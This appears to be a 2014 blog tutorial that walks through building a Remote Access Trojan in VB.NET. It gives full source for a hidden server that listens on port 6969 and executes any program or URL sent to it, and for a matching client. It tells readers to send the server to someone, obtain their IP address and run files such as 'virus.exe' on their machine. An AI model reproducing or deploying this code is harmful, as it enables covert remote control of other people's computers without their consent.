Tuesday, February 4, 2014

A very basic tutorial of creating a RAT

First of all, a RAT is a computer program that allows you to remotely access the computer running a server file,the RAT consists of 2 programs a client and a server.you run the client which connects to a port on a remote ip running the server

RAT stands for (Remote Access Trojan/Tool)

the server is set to listen on a specific port,high numbers such as 16995 and other 5 digit
numbers are best so the port is not easily recognized by certain computer applications its also best to stay away from 12345 and 54321 etc.

But now that you under stand the basics(hopefully), this is what you need to do to create and program your own.

Server:


1.Create a new windows application
name it "server"
double click the form to edit the code
at the top of the code file put

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

all this does is allow easy access to certain commands,for example system.io allows access to file commands

file.open(path)
compared to
System.IO.File.Open(Path)

So now we need to create a listening socket which opens a port on the host computer with this.
place this in the form1_class code before form1_load

Dim port As Integer = 6969
Dim tcpc As New TcpListener(port)

now a new tcp client

Dim port As Integer = 6969
Dim sock As New TcpClient()
Dim tcpc As New TcpListener(port)



Now we need a function that allows us to enable listing on the port when it is called,place this below the code you just wrote

Private Sub listen()
Try
tcpc.Start()
sock = tcpc.AcceptTcpClient()
Catch ex As Exception
End Try

End Sub

It creates a function to call which tries to allow the listener to start listening and when the client tries to connect it accepts it and if it fails it just retries again.

Now the complicated part. 
Now we need to create a network stream that allows us to send and receive data from the client and place it in a function.

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If
Catch ex As Exception
check()
End Try
End If
End Sub

This script is actually quite simple, if the listener is connected to a socket it redirects the connection to a socket in the server and if the server socket is connected it tries to receive the sockets data stream.
It then defines "bit" as a byte readable by the server data stream and gets its total size, it then tells the socket to read the incoming data,once it is all received it creates a string used to receive string data sent by the client.
It then defines a string array that splits string data received and the id sent so the server knows what command to execute determined by the if statement.

This next if statement says if the first string in the array "id" is equal to 0 then a string is defined as the second string in the array "id" and then a process is started from the path depicted from id(1) the second string in that array.

So now all we need to do is tell the program to run these functions in the form1_load command that is already present,in that sub form put this code:

While sock.Connected = False
Try
listen()
Catch ex As Exception
End Try
End While

While True
check()
End While
Me.Hide()

This allows the server to start listening and once it has found a connection it runs the check() function to preform the actions that allows the socket to read the data then hides the form for added security.



Client:


Create a new windows application in vb.net and on the form place 3 text boxes and 2 buttons and 3 labels and set them up like this.


Button 1 = "Connect"
Button 2 = "Send"
Label 1 = "IP"
Label 2 = "Port"
Label 3 = "URL"

Now lets write the code of client. Double click on form and put the following code on the top.

Imports System.Net
Imports System.Net.Sockets

now in the class code put


Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6969


Like before this defines a tcp client to connect to the server, it creates a non-text variable for the ip address for the socket to connect to, for some reason microsoft doesn't allow you to use a string with the socket.connect() command do all this does is turn a string into an ip address then it defines a variable called port with the value 6969 which can be changed.


now the fun stuff (sarcasm)

below all your variable definitions place the code

Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
sock.Connect(ip, port)

Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub

this creates a function named connect() when it is called it sets the value of "ip" to what you have written in textbox 1 and then port is set to what you have in textbox 2

now with these 2 values the socket naked sock trys to connect to the ip and port that where defined and if the connection fails an error message is shown saying "Can not connect to designated ip at this time" feel free to change that to w/e you may like.Now we need a function to be called when we want to send data to the connected socket.

Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub

so now when you call dat() you need a string in the () to be sent
but well worry about that later,it defines nstream as "sock's" data stream then defines bit as a byte that encrypts the text into bytes that can be sent over to the server,then the data stream sends the string.Now go back to the design of form 1 where you inserted the textboxes and stuff then double click button1 and in between the brackets of the button1_click put this code

connect()

this calls the function connect() which allows the socket to try and connect to the designated port/ip

now do the same thing to button 2,and for the button2_click put

dat("0*" + TextBox3.Text)

this calls the dat() function and attaches the string "0*" which is the id of the string being sent to the server plus the text in textbox 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a webpage you want opened like "http://www.kislaybhardwaj.com" without the quotes of coarse
so the string sent would look like this

0*http://www.kislaybhardwaj.com


The * is needed to separate the string once it is decoded in the server,so if you want to send more than the id and 1 string you need to separate them with *
like this

dat("0*" + TextBox3.Text + "*" + TextBox4.Text)

this would do nothing as there is no textbox 4 because this is only an example,and since there is no textbox 4 an error would be generated,but that is how you would do it

now that's basically it,this is basically it for the client.this script is very versatile as dat() can be called on any button press/keypress ect... so if you want more features lets say one create a message on the computer with the server you would use this in a separate button press pointing to another textbox like this

dat("1*" + TextBox4.Text)

which just send the text with a new id to the server,but you must modify the server to recognize that id aswell

so to do that the code

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 1 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

Catch ex As Exception
check()
End Try
End If
End Sub

should now be

Private Sub check()
If sock.Connected = True Then
sock.SendTimeout = 5000
Try
Dim nstream As NetworkStream = sock.GetStream
Dim bit(sock.ReceiveBufferSize) As Byte
nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


If id(0) = 0 Then
Dim stri As String = id(1)
Process.Start(stri)
End If

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If

Catch ex As Exception
check()
End Try
End If
End Sub

this has been added

If id(0) = 1 Then
Dim stri As String = id(1)
MsgBox(id(1))
End If


so if id(0) is 1 which is the command id it creates a message box with the text sent after the id so it would be whatever you made textbox 3 say in your client

So now you should save and build both the server and the client becuse your ready to go,this is all my code hand written and thought of by me so there shouldent be another methood like this.

NOW to use this application,send the server to sombody and once they have opned it,it should start listning on the port defined in the server,which is 6969 but can be changed,so once you have sombody running the server you need there ip,look on the web for tutorials on how to find an ip through email,aim,msn,or even message boards.

NOW I'M PUTTING THE WHOLE CODE:

Server:

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim port As Integer = 6969
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String

    Private Sub listen()
        Try
            tcpc.Start()
            sock = tcpc.AcceptTcpClient()
        Catch ex As Exception
        End Try

    End Sub

    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)


                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    Process.Start(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load


        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception
            End Try
        End While

        While True
            check()
        End While
        Me.Hide()
    End Sub
End Class

__________________________________________________________

Client:

Imports System.Net
Imports System.Net.Sockets
Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6969
    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = TextBox2.Text
        Try
            sock.Connect(ip, port)

        Catch ex As Exception
            MsgBox("Can not connect to designated ip at this time")
        End Try
    End Sub

    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        connect()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

        dat("0*" + TextBox3.Text)
    End Sub
  
End Class


DO NOT FORGET TO BUILD THE PROJECT. :p


 

The Hacker News